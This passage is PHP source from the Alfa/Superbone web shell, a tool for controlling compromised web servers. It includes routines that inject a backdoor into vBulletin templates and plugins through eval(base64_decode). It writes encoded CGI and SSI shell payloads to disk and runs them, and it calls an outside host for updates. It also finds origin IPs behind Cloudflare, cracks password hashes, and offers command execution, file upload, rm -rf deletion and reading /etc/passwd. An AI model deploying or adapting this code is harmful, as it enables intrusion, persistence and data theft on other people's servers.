  2587. if(extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto'){
  2588. if($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){
  2589. @fputs($fsock, "GET $realpath/faq.php HTTP/1.1\r\n");
  2590. @fputs($fsock, "HOST: $realurl\r\n");
  2591. @fputs($fsock, "Connection: close\r\n\r\n");
  2592. $check =fgets($fsock);if(preg_match("/200 OK/i",$check)){
  2593. $p1 = "UPDATE ".$_POST['alfa6']."template SET template ='".str_replace("'","\'",$savetoass)."' WHERE title ='faq'";
  2594. $ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));
  2595. $res = true;
  2596. }
  2597. @fclose($fsock);
  2598. }
  2599. }elseif(function_exists('curl_version') && $method == 'auto'){
  2600. $AlfaCurl->Send($realurl.$realpath."/faq.php");
  2601. $p1 = "UPDATE ".$_POST['alfa6']."template SET template ='".str_replace("'","\'",$savetoass)."' WHERE title ='faq'";
  2602. $ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));
  2603. $res = true;
  2604. }
  2605. if($res){
  2606. $ff = 'http://'.$realurl.$realpath."/solevisible.php";
  2607. output($ff);
  2608. }else{
  2609. $ff = 'http://'.$realurl.$realpath."/faq.php";
  2610. $fff = 'http://'.$realurl.$realpath."/solevisible.php";
  2611. echo "<center><p><font color=\"#FFFFFF\">First Open This Link => </font><a href='".$ff."' target='_blank'>".$ff."</a><br/><font color=\"#FFFFFF\">Second Open This Link => </font><a href='".$fff."' target='_blank'>".$fff."</a></center></p>";}}}
  2612. echo '</div>';
  2613. alfafooter();
  2614. }
  2615. function alfaupdatepath(){
  2616. if($_POST['path']!=''){
  2617. $_SESSION[__LAST_CWD__] = $_POST['path'];
  2618. }
  2619. echo($_SESSION[__LAST_CWD__]);
  2620. }
  2621. function alfacheckfiletype(){
  2622. $path = $_POST['path'];
  2623. $arg = $_POST['arg'];
  2624. if(@is_file($path.'/'.$arg)){
  2625. echo("file");
  2626. }else{
  2627. echo("dir");
  2628. }
  2629. }
  2630. function alfacheckupdate(){
  2631. if(!isset($_COOKIE['alfa_checkupdate'])){
  2632. if(function_exists("curl_version")){
  2633. $update = new AlfaCURL();
  2634. $json = $update->Send("http://solevisible.com/update.json");
  2635. $json = @json_decode($json);
  2636. if($json){
  2637. if(__ALFA_VERSION__ != $json->version){
  2638. @setcookie("alfa_checkupdate", "1", time()+86400);
  2639. echo('<div class="update-holder"><div class="update-partner"><div class="update-content"><div onClick="document.getElementsByClassName(\'update-holder\')[0].style.display = \'none\';" class="update-close">X</div><a href="'.$json->url.'" target="_blank">'.$json->text.'<br> Version: '.$json->version.'</a></div></div></div>');
  2640. }
  2641. }
  2642. }
  2643. }
  2644. }
  2645. function alfaWriteTocgiapi($name, $source){
  2646. @chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
  2647. @mkdir('SUPERBONE',0755);
  2648. __write_file("SUPERBONE/".$name, __get_resource($source));
  2649. @chmod("SUPERBONE/".$name, 0755);
  2650. }
  2651. function alfacheckcgi(){if(strlen(alfaEx("id",false,true,true))>0)echo("ok");else echo("no");}
  2652. function alfaupdateheader(){
  2653. if(!isset($_SESSION["updateheader_data"])){
  2654. $bash = "zZRdb9owFIavya849dIGJLK0vVyFNFTohERBgtFdQIRM4hAL40R2UkYp/312gPARqLqbaYnyIfs8x+85r+UvV04qhTOh3JGhMeg3nwbtWnnqecDUoz8+zPGMQBzGEBPBIF4mYcRBpJMlJFjA9I3GMNm+MAvwPXCFRR5OCMiU+pqqGI3ur067W280e/1aeTElCQQk8UJgS/4bGOUzCV6q0usZtojtORUiEhWDeGEENgFrhVJJgpShb8ORZxlBJIAC5WCuNqqH3931A/iRAepahNQLa2Y5+4JJK0ZpOIQrsN8AmdkgAteFmxvY5R8hk45Q1VK5q4YfcZKvjEbqdqsjD+3FID9acBZhn4iinoNS/62olOM5UXqQZZazf7AxvKu+JmB7d/bd/W3FyiDrEJJEUH9LyQTrWEDXKQzhegAuUtpu0RluKqI0PgNONfjjA9CP5phyqUE98dLq/RzU2+NG97ne6vRryFH7wnmlIkkxczbBqtlESGR06s/Nxvix23nahuki/a9exANkvNTbrXq/mWfAjGJJpKNneuMMVVOvWGwoNU4DUAbobponKrQRD5CEhBulbZT4OKq0K9As48UMrGansYoF5Ql0emsLTtEK7PqgLYQSYftljhpwYQ0mC3HvsPDAZseZjxKb+/79jfQ9VcgtyQGOHrFiegT7aguc2ANuRgTUyAWRgiC99XNDtm4Wx7deXrLogLvQt4OYsz07duP8isWUedB/7sOnXbgs9KT2w6CzxW/0fX6baH35ceGu1SnxBw==";
  2655. $realdir = addslashes(dirname($_SERVER["SCRIPT_FILENAME"]));
  2656. alfaWriteTocgiapi("getheader.alfa",$bash);
  2657. $data = alfaEx("cd '{$realdir}/alfacgiapi';sh getheader.alfa",false,true,true);
  2658. if(@is_array(@json_decode($data,true))){
  2659. $_SESSION["updateheader_data"] = $data;
  2660. echo $data;
  2661. }
  2662. }else{
  2663. echo $_SESSION["updateheader_data"];
  2664. }
  2665. }
  2666. function alfassiShell(){
  2667. alfahead();
  2668. echo '<div class=header>';
  2669. @mkdir('alfa_shtml',0755);
  2670. @chdir('alfa_shtml');
  2671. alfacgihtaccess('shtml');
  2672. $code = 'rVb9b9s2EP1Xrky22MhsKcu6ptbH0A+vzYbCXeztl6YoZImS2VCkQFJOvCX/+46SrChOnKRBA8ORyOPju3ePR/vPBoOdWIqUZUCVynUWkE9jpaT6TAaD0O9Ma/YvTXMTkPnKUN3OshToRaEC0jslu+9ns49f3kwmfx6PTwkEcEpOSR8uL8FOnoz/+ns8nX35MJ69n7zF+Wc24N14hjEE1niaGlhGiKcXnOATL2lAuIYBj66DKNf03hVdJterRIJs8Q2+C/OPk+kW6kzELXVnOLzjQ03sFJHW58lDSXWwNpOCzawWJuehv6BREvqGGU7DVzyNYEajHKbTY5guKOe+U0/5OlasMMAjkZVRhlS/RsuoHiRhWorYMCkgkcz0IJcJhT78x9IejsRlToUZxlKeMWrFIMROIl+oxzQquBE21AW3SMTDWC+VqmfzA4aRrof//PXSIaciMwsP9vcZ9Dc3C9Zhn3DNZ9hHPCwiU1QHs0X5E7gH8Eck4ODlCxdcd1R94N2HGfGubkO1Ixk1Y07t4+vVcbJOd1jJ7rVRXMaR1WSoKJdR0ut7V61MRmYZpz1giVViO7KdH2qz4nSYMJQkWiGP3jeFo9xCCor2/A3IHEmdERg1Y96V79QlDH2nNsJcJiuQwjIOyLaN9mKZ55FI9vrDFEM05kZgnsWSS/Tgjlv9EYg4E2fYAVAWNGXnBbdRoZ+wZejHiEnxZXEY+qkUBtYgz1/G8eEhCS/hDlfCpe/YaEsbFzprFAvbPod+2WDaZhSQ/QOCmcWcxcijqcAeFcs9y75SLSBxqbRUo0IyC+JVZEaKJh4Jx2LJlLQaABOpbAngJs68wwHTwkIEBJFb2KYaI6t6A7rz64tXr9/+7jViFIrWR7lQdmuxtEfbqUbttFOJVX/f0u5xmWK/e2Smb+rqAh470HUT2JJrTchmjLXOBKJWEwTOWWIWATlw3R/QGVIlFGuKlrDCVI23YTGP4rNMyVIkg0aW2jzezZ57/31QNcUbEt9sdY3E8w2H1QWwhUXK0Fi6TXUejn4Uc1143W8EUDnk1CwkJoKnwuqsy3nOjD0t2LGuj4atLBNFacCsCkzV0AsMrwt01EjRBJOwge/G17DtzXBSCgR0LIFbPt8o/WaCJ1SX3HQyu3lgLLFI0ahzgukv1E2OKiSNVfwZQZU8t4/PSXP9XNAY4jwJdrGc1T3krHHwaql8AX5r129zKl5ij3TqpKCqarIaUSBlnOoHz2V1RT7Srt/JpfXdX9m0Rny6Wf9h9LxKFHrYjkwZcexGMS8T2h91KvyQdQup7/Du0gLf69wjt9KwCnySa7flNUX0BxLYtrTSL7X0oJEk2EVNrJj1yuonaNf+T3Z9I/WtfTrmv9WuHXul2ovK/tz6Hw==';
  2673. @__write_file('alfa_ssi.shtml',__get_resource($code));
  2674. @chmod("alfa_ssi.shtml",0755);
  2675. echo AlfaiFrameCreator('alfa_shtml/alfa_ssi.shtml');
  2676. echo '</div>';
  2677. alfafooter();
  2678. }
  2679. function alfacloudflare(){
  2680. alfahead();
  2681. AlfaNum(8,9,10,7,6,5,4,3);
  2682. echo "<div class=header><center><br><div class='txtfont_header'>| Cloud Flare ByPasser |</div><br><form action='' onsubmit=\"g('cloudflare',null,this.url.value,'>>'); return false;\" method='post'>
  2683. <p><div class='txtfont'>Target:</div> <input type='text' size=30 name='url' style='text-align:center;' placeholder=\"target.com\"> <input type='submit' name='go' value=' ' /></p></form></center>";
  2684. if($_POST['alfa2'] && $_POST['alfa2'] == '>>'){
  2685. $url = $_POST['alfa1'];
  2686. if(!preg_match('/^(https?):\/\/(w{3}|w3)\./i', $url)){
  2687. $url = preg_replace('/^(https?):\/\//', '', $url);
  2688. $url = "http://www.".$url;
  2689. }
  2690. $headers = @get_headers($url, 1);
  2691. $server = $headers['Server'];
  2692. $subs = array('owa.','2tty.','m.','gw.','mx1.','store.','1','2','vb.','news.','download.','video','cpanel.', 'ftp.', 'server1.', 'cdn.', 'cdn2.', 'ns.', 'ns3.', 'mail.', 'webmail.', 'direct.', 'direct-connect.', 'record.', 'ssl.', 'dns.', 'help.', 'blog.', 'irc.', 'forum.', 'dl.', 'my.', 'cp.', 'portal.', 'kb.', 'support.','search.', 'docs.', 'files.', 'accounts.', 'secure.', 'register.', 'apps.', 'beta.', 'demo.', 'smtp.', 'ns2.', 'ns1.', 'server.', 'shop.', 'host.', 'web.', 'cloud.', 'api.', 'exchange.', 'app.', 'vps.', 'owa.', 'sat.', 'bbs.', 'movie.', 'music.', 'art.', 'fusion.', 'maps.', 'forums.', 'acc.', 'cc.', 'dev.', 'ww42.', 'wiki.', 'clients.', 'client.','books.','answers.','service.','groups.','images.','upload.','up.','tube.','users.','admin.','administrator.','private.','design.','whmcs.','wp.','wordpress.','joomla.','vbulletin.','test.','developer.','panel.','contact.');
  2693. if(preg_match('/^(https?):\/\/(w{3}|w3)\./i', $url, $matches)){
  2694. if($matches[2] != 'www'){$url = preg_replace('/^(https?):\/\//', '', $url);}else{
  2695. $url = explode($matches[0], $url);
  2696. $url = $url[1];}}
  2697. if(is_array($server))$server = $server[0];
  2698. echo __pre();
  2699. if(preg_match('/cloudflare/i', $server))
  2700. echo "\n[+] CloudFlare detected: {$server}\n<br>";
  2701. else
  2702. echo "\n[+] CloudFlare wasn't detected, proceeding anyway.\n";
  2703. echo '[+] CloudFlare IP: ' . is_ipv4(gethostbyname($url)) . "\n\n<br><br>";
  2704. echo "[+] Searching for more IP addresses.\n\n<br><br>";
  2705. for($x=0;$x<count($subs);$x++){
  2706. $site = $subs[$x] . $url;
  2707. $ip = is_ipv4(gethostbyname($site));
  2708. if($ip == '(Null)')
  2709. continue;
  2710. echo "Trying {$site}: {$ip}\n<br>";
  2711. }
  2712. echo "\n[+] Finished.\n<br>";
  2713. }
  2714. echo '</div>';
  2715. alfafooter();
  2716. }
  2717. function is_ipv4($ip){
  2718. return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip : '(Null)';
  2719. }
  2720. function __alert($s){
  2721. echo '<center>'.__pre().$s.'</center>';
  2722. }
  2723. function create_table($data){
  2724. echo '<table border="1">';
  2725. foreach ($data as $key => $val){
  2726. $array = array();
  2727. foreach($val as $k => $v){
  2728. $array[$k] = $v;
  2729. }
  2730. echo "<tr><td><div class='tbltxt'>".$array['tdName']."</div></td><td><inputtype='text' id='".$array['id']."' name='".$array['inputName']."' ".($array['placeholder']?'placeholder':'value')."='".$array['inputValue']."' size='".$array['inputSize']."' ".($array['disabled']?'disabled':'')."></td></tr>";
  2731. }
  2732. echo '</table>';
  2733. }
  2734. function alfaphp2xml(){
  2735. alfahead();
  2736. AlfaNum(8,9,10,7,6,5,4,3);
  2737. echo "<div class=header><center><p><div class='txtfont_header'>| Shell For vBulletin |</div></p><form onsubmit=\"g('php2xml',null,this.code.value,'>>'); return false;\" method='post'>
  2738. <p><br><textarea rows='12' cols='70' type='text' name='code' placeholder=\"insert your shell code\"></textarea><br/><br/>
  2739. <input type='submit' name='go' value=' ' /></p></form></center>";
  2740. if($_POST['alfa2']&&$_POST['alfa2']=='>>'){
  2741. echo __pre()."<p><center><textarea rows='10' name='users' cols='80'>";
  2742. echo '<?xml version="1.0" encoding="ISO-8859-1"?><plugins><plugin active="1" product="vbulletin"><title>vBulletin</title><hookname>init_startup</hookname><phpcode><![CDATA[if (strpos($_SERVER[\'PHP_SELF\'],"subscriptions.php")){eval(base64_decode(\''.__ZW5jb2Rlcg($_POST['alfa1']).'\'));exit;}]]></phpcode></plugin></plugins>';
  2743. echo '</textarea></center></p>';
  2744. }
  2745. echo '</center></div>';
  2746. alfafooter();
  2747. }
  2748. function alfacpcrack(){
  2749. alfahead();
  2750. echo '<div class=header><center><p><div class="txtfont_header">| Hash Tools |</div></p><h3><a href=javascript:void(0) onclick="g(\'cpcrack\',null,\'dec\')">| DeCrypter | </a><a href=javascript:void(0) onclick="g(\'cpcrack\',null,\'analyzer\')">| Hash Analyzer | </a></h3></center>';
  2751. if($_POST['alfa1']=='dec'){
  2752. $algorithms = array('md5'=>'MD5','md4'=>'MD4','sha1'=>'SHA1','sha256'=>'SHA256','sha384'=>'SHA384','sha512'=>'SHA512','ntlm'=>'NTLM');
  2753. echo '<center><div class="txtfont_header">| DeCrypter |</div><br><br>
  2754. <form onsubmit="g(\'cpcrack\',null,\'dec\',this.md5.value,\'>>\',this.alg.value); return false;"><div class="txtfont">Decrypt Method:</div> <select name="alg" style="width:100px;">';
  2755. foreach($algorithms as $key=>$val){echo('<option value="'.$key.'">'.$val.'</option>');}
  2756. echo'</select><input type="text" placeholder="Hash" name="md5" size="60" id="text" /> <input type="submit" value=" " name="go" /></form></center><br>';
  2757. if($_POST['alfa3'] == '>>'){
  2758. $hash = $_POST['alfa2'];
  2759. if(!empty($hash)){
  2760. $hash_type = $_POST['alfa4'];
  2761. $email = "solevisible@gmail.com";
  2762. $code = "7b9fa79f92c3cd96";
  2763. $target = "http://md5decrypt.net/Api/api.php?hash=".$hash."&hash_type=".$hash_type."&email=".$email."&code=".$code;
  2764. $resp = @file_get_contents($target);
  2765. if($resp==''){
  2766. $get = new AlfaCURL();
  2767. $resp = $get->Send($target);
  2768. }
  2769. echo __pre().'<center>';
  2770. switch($resp){
  2771. case('CODE ERREUR : 001'):echo "<b><font color='red'>You exceeded the 400 allowed request per day</font></b>";break;
  2772. case('CODE ERREUR : 003'):echo "<b><font color='red'>Your request includes more than 400 hashes.</font></b>";break;
  2773. case('CODE ERREUR : 004'):echo "<b><font color='red'>The type of hash you provide in the argument hash_type doesn't seem to be valid</font></b>";break;
  2774. case('CODE ERREUR : 005'):echo "<b><font color='red'>The hash you provide doesn't seem to match with the type of hash you set.</font></b>";break;
  2775. }
  2776. if(substr($resp,0,4)!='CODE'&&$resp!=''){
  2777. echo "<b>Result: <font color='green'>".$resp."</font></b>";
  2778. }elseif(substr($resp,0,4)!='CODE'){
  2779. echo "<font color='red'>NoT Found</font><br />";
  2780. }
  2781. echo('</center>');
  2782. }
  2783. }
  2784. }
  2785. if($_POST['alfa1']=='analyzer'){
  2786. echo '<center><p><div class="txtfont_header">| Hash Analyzer |</div></p>
  2787. <form onsubmit="g(\'cpcrack\',null,\'analyzer\',this.hash.value,\'>>\');return false;">
  2788. <div class="txtfont">Hash: </div> <input type="text" placeholder="Hash" name="hash" size="60" id="text" /> <input type="submit" value=" " name="go" /></form></center><br>';
  2789. if($_POST['alfa3'] == '>>'){
  2790. $hash = $_POST['alfa2'];
  2791. if(!empty($hash)){
  2792. $curl = new AlfaCURL();
  2793. $resp = $curl->Send("http://md5decrypt.net/en/HashFinder/","post","hash={$hash}&crypt=Search");
  2794. echo(__pre().'<center>');
  2795. if(preg_match('#<fieldset class="trouve">(.*?)</fieldset>#',$resp,$s)){
  2796. echo('<font color="green">'.$s[1].'</font>');
  2797. }else{
  2798. echo('<font color="red">Not Found...!</font>');
  2799. }
  2800. echo('</center><br>');
  2801. }
  2802. }
  2803. }
  2804. echo '</div>';
  2805. alfafooter();
  2806. }
  2807. function alfafooter(){
  2808. if(!isset($_POST['ajax'])){
  2809. echo "<table class='foot' width='100%' border='0' cellspacing='3' cellpadding='0' >
  2810. <tr>
  2811. <td width='17%'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'mkfile','','','','file');this.f.value='';return false;\"><span class='footer_text'>Make File : </span><br><input class='dir' type='text' name='f' value=''> <input type='submit' value=' '></form></td>
  2812. <td width='21%'><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);this.d.value='';return false;\"><span class='footer_text'>Make Dir : </span><br><input class='dir' type='text' name='d' value=' '> <input type='submit' value=' '></form></td>
  2813. <td width='22%'><form onsubmit=\"g('FilesMan',null,'delete',this.del.value);this.del.value='';return false;\"><span class='footer_text'>Delete : </span><br><input class='dir' type='text' name='del' value=' '> <input type='submit' value=' '></form></td>
  2814. <td width='19%'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'chmod','','','','none');this.f.value='';return false;\"><span class='footer_text'>Chmod : </span><br><input class='dir' type=text name=f value=' '> <input type='submit' value=' '></form></td>
  2815. </tr>
  2816. <tr>
  2817. <td colspan='2'><form onsubmit='g(\"FilesMan\",this.c.value,\"\");return false;'><span class='footer_text'>Change Dir : </span><br><input class='foottable' id='footer_cwd' type='text' name='c' value='".htmlspecialchars($GLOBALS['cwd'])."'> <input type='submit' value=' '></form></td>
  2818. <td colspan='2'><form onsubmit=\"editor(this.file.value,'auto','','','','file');return false;\"><span><span class='footer_text'>Read File : </span></span><br><input class='foottable' type='text' name='file' value='/etc/passwd'> <input type='submit' value=' '></form></td>
  2819. </tr>
  2820. <tr>
  2821. <td colspan='4'><form onsubmit=\"g('proc',null,this.c.value);this.c.value='';return false;\"><span><span class='footer_text'>Execute :</span><br><input class='foottable' type='text' name='c' value=' '> <input type='submit' value=' '></form></td>
  2822. </tr>
  2823. <tr>
  2824. <td colspan='4'><form onsubmit='u(this);return false;' name='footer_form' method='post' ENCTYPE='multipart/form-data'>
  2825. <input type='hidden' name='a' value='FilesMAn'>
  2826. <input type='hidden' name='c' value='" . $GLOBALS['cwd'] ."'>
  2827. <input type='hidden' name='alfa1' value='uploadFile'>
  2828. <input type='hidden' name='charset' value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  2829. <span class='footer_text'>Upload file: </span><span><button id='addup' onclick='addnewup();return false;'><b>+</b></button></span><p id='pfooterup'><label class='inputfile' for='footerup'><span id='__fnameup'></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id='footerup' class='toolsInp' type='file' name='f[]' onChange='handleup(this,0);'></p><input type='submit' name='submit' value=' '></form><br><span class='copyright'>[ ./Superbone Right Here &copy; 2012-".date('Y')." ]</span></td>
  2830. </tr>
  2831. </table>
  2832. </div>
  2833. <div id='cgiloader'><div class='editor-wrapper'><div class='editor-header'><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"cgiloader\");'></div><div onClick='editorClose(\"cgiloader\");' class='close-button'></div></div></div><div id='cgiframe' style='margin-left:14px;margin-right:30px;'></div></div></div>
  2834. <div id='editor'><div class='editor-wrapper'><div class='editor-header'><div class='editor-path'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"editor\");'></div><div onClick='editorClose(\"editor\");' class='close-button'></div></div></div><div class='editor-explorer'><div class='hheader'><div class='history-clear' onclick='clearEditorHistory();'>Clear all</div><div class='hheader-text'>History</div><div class='editor-search'><input type='text' style='text-align:center;' id='search-input' placeholder='search'></div></div><div class='history-list'></div></div><div class='editor-modal'><div class='editor-body'><div class='editor-content'></div></div></div></div></div>
  2835. <div id='update-content'></div>
  2836. <div id='editor-minimized' onclick='showEditor(\"editor\");'><div class='minimized-wrapper'><div class='minimized-text'>Show Editor</div></div></div>
  2837. <div id='cgiloader-minimized' onclick='showEditor(\"cgiloader\");'><div class='minimized-wrapper'><div class='minimized-text'>Show Cgi</div></div></div>
  2838. <script>
  2839. $('search-input').addEventListener('keydown', function(e){
  2840. setTimeout(function(){
  2841. var string = $('search-input').value
  2842. d.getElementsByClassName('history-list')[0].innerHTML = '';
  2843. for(var i in editor_files){
  2844. if(editor_files[i].file.search(string) != -1 || string == ''){
  2845. var mode = 0;
  2846. if(i == editor_current_file){
  2847. mode = ' is_active';
  2848. }
  2849. insertToHistory(i, editor_files[i].file, mode, editor_files[i].type);
  2850. }
  2851. }
  2852. }, 100);
  2853. },false);
  2854. _Ajax(d.URL, 'a='+alfab64('checkupdate'), function(res){
  2855. d.body.insertAdjacentHTML('beforeend', res);
  2856. });
  2857. if(".$GLOBALS["need_to_update_header"]."){
  2858. _Ajax(d.URL, 'a='+alfab64('updateheader'), function(res){
  2859. try{
  2860. var data = JSON.parse(res);
  2861. console.log(data);
  2862. for(var i in data){
  2863. var html = '';
  2864. for(var b = 0; b < data[i].length; b++){
  2865. if(i=='useful'||i=='downloader'){
  2866. html += '<span class=\"header_values\" style=\"margin-left: 4px;\">'+data[i][b]+'</span>';
  2867. }else{
  2868. html += data[i][b];
  2869. }
  2870. }
  2871. var elem = $('header_'+i);
  2872. if(elem){elem.innerHTML = html;}
  2873. }
  2874. $('header_cgishell').innerHTML = 'ON';
  2875. $('header_cgishell').setAttribute('class', 'header_on');
  2876. }catch(e){console.log(e)}
  2877. });
  2878. }else if(islinux){
  2879. _Ajax(d.URL, 'a='+alfab64('checkcgi'), function(res){
  2880. if(res=='ok'){
  2881. $('header_cgishell').innerHTML = 'ON';
  2882. $('header_cgishell').setAttribute('class', 'header_on');
  2883. }
  2884. });
  2885. }
  2886. </script>
  2887. </body>
  2888. </html>
  2889. ";
  2890. }}
  2891. if (!function_exists("posix_getpwuid") && (strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false)) {
  2892. function posix_getpwuid($p) {return false;} }
  2893. if (!function_exists("posix_getgrgid") && (strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false)) {
  2894. function posix_getgrgid($p) {return false;} }
  2895. function alfaWhich($p) {
  2896. $path = alfaEx('which ' . $p,false,false);
  2897. if(!empty($path))
  2898. return strlen($path);
  2899. return false;
  2900. }
  2901. function alfaSize($s) {
  2902. if($s >= 1073741824)
  2903. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  2904. elseif($s >= 1048576)
  2905. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  2906. elseif($s >= 1024)
  2907. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  2908. else
  2909. return $s . ' B';
  2910. }
  2911. function alfaPerms($p) {
  2912. if (($p & 0xC000) == 0xC000)$i = 's';
  2913. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  2914. elseif (($p & 0x8000) == 0x8000)$i = '-';
  2915. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  2916. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  2917. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  2918. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  2919. else $i = 'u';
  2920. $i .= (($p & 0x0100) ? 'r' : '-');
  2921. $i .= (($p & 0x0080) ? 'w' : '-');
  2922. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  2923. $i .= (($p & 0x0020) ? 'r' : '-');
  2924. $i .= (($p & 0x0010) ? 'w' : '-');
  2925. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  2926. $i .= (($p & 0x0004) ? 'r' : '-');
  2927. $i .= (($p & 0x0002) ? 'w' : '-');
  2928. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  2929. return $i;
  2930. }
  2931. function alfaPermsColor($f,$isbash=false){
  2932. $class = "";
  2933. $num = "";
  2934. $human = "";
  2935. if($isbash){
  2936. $class = $f["class"];
  2937. $num = $f["num"];
  2938. $human = $f["human"];
  2939. }else{
  2940. $num = substr(sprintf('%o', @fileperms($f)),-4);
  2941. $human = alfaPerms(@fileperms($f));
  2942. if(!@is_readable($f))
  2943. $class = "main_red_perm";
  2944. elseif (!@is_writable($f))
  2945. $class = "main_white_perm";
  2946. else
  2947. $class = "main_green_perm";
  2948. }
  2949. return '<span style="font-weight:unset;" class="'.$class.'">'.$num.'</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="'.$class.'">'.$human.'</span>';
  2950. }
  2951. if(!function_exists("scandir")) {
  2952. function scandir($dir) {
  2953. $dh = opendir($dir);
  2954. while (false !== ($filename = readdir($dh)))
  2955. $files[] = $filename;
  2956. return $files;
  2957. }
  2958. }
  2959. function reArrayFiles($file_post){
  2960. $file_ary = array();
  2961. $file_count = count($file_post['name']);
  2962. $file_keys = array_keys($file_post);
  2963. for ($i=0; $i<$file_count; $i++) {
  2964. foreach ($file_keys as $key) {
  2965. $file_ary[$i][$key] = $file_post[$key][$i];
  2966. }
  2967. }
  2968. return $file_ary;
  2969. }
  2970. function _alfa_can_runCommand($cgi=true,$cache=true){
  2971. if(isset($_SESSION["alfa_canruncmd"])&&$cache){
  2972. return true;
  2973. }
  2974. if(strlen(alfaEx("whoami",false,$cgi))>0){
  2975. $_SESSION["alfa_canruncmd"] = true;
  2976. return true;
  2977. }
  2978. return false;
  2979. }
  2980. function _alfa_symlink($target, $link){
  2981. $phpsym = function_exists("symlink");
  2982. if($phpsym){
  2983. @symlink($target, $link);
  2984. }else{
  2985. alfaEx("ln -s '".addslashes($target)."' '".addslashes($link)."'");
  2986. }
  2987. }
  2988. function _alfa_file_exists($file,$cgi=true){
  2989. if(@file_exists($file)){
  2990. return true;
  2991. }else{
  2992. if(strlen(alfaEx("ls -la '".addslashes($file)."'",false,$cgi))>0){
  2993. return true;
  2994. }
  2995. }
  2996. return false;
  2997. }
  2998. function _alfa_file($file,$cgi=true){
  2999. $array = @file($file);
  3000. if(!$array){
  3001. if(strlen(alfaEx("id",false,$cgi))>0){
  3002. $data = alfaEx('cat "'.addslashes($file).'"',false,$cgi);
  3003. if(strlen($data)>0){
  3004. return explode("\n", $data);
  3005. }else{
  3006. return false;
  3007. }
  3008. }else{
  3009. return false;
  3010. }
  3011. }else{
  3012. return $array;
  3013. }
  3014. }
  3015. function _alfa_is_writable($file){
  3016. $check = false;
  3017. $check = @is_writable($file);
  3018. if(!$check){
  3019. if(_alfa_can_runCommand()){
  3020. $check = alfaEx('[ -w "'.trim(addslashes($file)).'" ] && echo "yes" || echo "no"');
  3021. if($check == "yes"){
  3022. $check = true;
  3023. }else{
  3024. $check = false;
  3025. }
  3026. }
  3027. }
  3028. return $check;
  3029. }
  3030. function _alfa_is_dir($dir,$mode="-d"){
  3031. $check = false;
  3032. $check = @is_dir($dir);
  3033. if(!$check){
  3034. if(_alfa_can_runCommand()){
  3035. $check = alfaEx('[ "'.trim($mode).'" "'.trim(addslashes($dir)).'" ] && echo "yes" || echo "no"');
  3036. if($check == "yes"){
  3037. return true;
  3038. }else{
  3039. return false;
  3040. }
  3041. }
  3042. }
  3043. return $check;
  3044. }
  3045. function alfaFilesMan(){
  3046. alfahead();
  3047. AlfaNum(8,9,10,7,6,5,4);
  3048. echo '<div class="ajaxarea"><div class="header">';
  3049. if(!empty ($_COOKIE['f']))
  3050. $_COOKIE['f'] = @unserialize($_COOKIE['f']);
  3051. if(!empty($_POST['alfa1'])){
  3052. switch($_POST['alfa1']){
  3053. case 'uploadFile':
  3054. if(isset($GLOBALS['glob_chdir_false'])){
  3055. $alfa_canruncmd = _alfa_can_runCommand(true,true);
  3056. $move_cmd_file = true;
  3057. }
  3058. $files = reArrayFiles($_FILES['f']);
  3059. foreach($files as $file){
  3060. if($move_cmd_file){
  3061. alfaEx("cat '".addslashes($file['tmp_name'])."' > '".addslashes($_POST["c"]."/".$file['name'])."'");
  3062. }else{
  3063. @move_uploaded_file($file['tmp_name'],$file['name']);
  3064. }
  3065. echo "uped...!<Br>";
  3066. }
  3067. break;
  3068. case 'mkdir':
  3069. $new_dir_cmd = false;
  3070. if(isset($GLOBALS['glob_chdir_false'])){
  3071. if(_alfa_can_runCommand(true,true)){
  3072. alfaEx("cd '".trim(addslashes($_POST['c']))."';mkdir '".trim(addslashes($_POST['alfa2']))."'");
  3073. }
  3074. }else{
  3075. if(!@mkdir(trim($_POST['alfa2'])))
  3076. echo "<b><font color='red'>Can't create new dir !</b></font>";
  3077. }
  3078. break;
  3079. case 'delete':
  3080. function deleteDir($path){
  3081. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  3082. $dh = @opendir($path);
  3083. while(($item = @readdir($dh)) !== false){
  3084. $item = $path.$item;
  3085. if((basename($item) == "..") || (basename($item) == "."))
  3086. continue;
  3087. $type = @filetype($item);
  3088. if ($type == "dir")
  3089. deleteDir($item);
  3090. else
  3091. @unlink($item);
  3092. }
  3093. @closedir($dh);
  3094. @rmdir($path);
  3095. }
  3096. if(is_array(@$_POST['f']))
  3097. foreach($_POST['f'] as $f){
  3098. if($f == '..')
  3099. continue;
  3100. $f = rawurldecode($f);
  3101. if(isset($GLOBALS["glob_chdir_false"])){
  3102. if(_alfa_can_runCommand(true,true)){
  3103. alfaEx("rm -rf '".addslashes($_POST['c'].'/'.$f)."'");
  3104. }
  3105. }else{
  3106. alfaEx("rm -rf '".addslashes($f)."'",false,false);
  3107. if(@is_dir($f))
  3108. deleteDir($f);
  3109. else
  3110. @unlink($f);
  3111. }
  3112. }
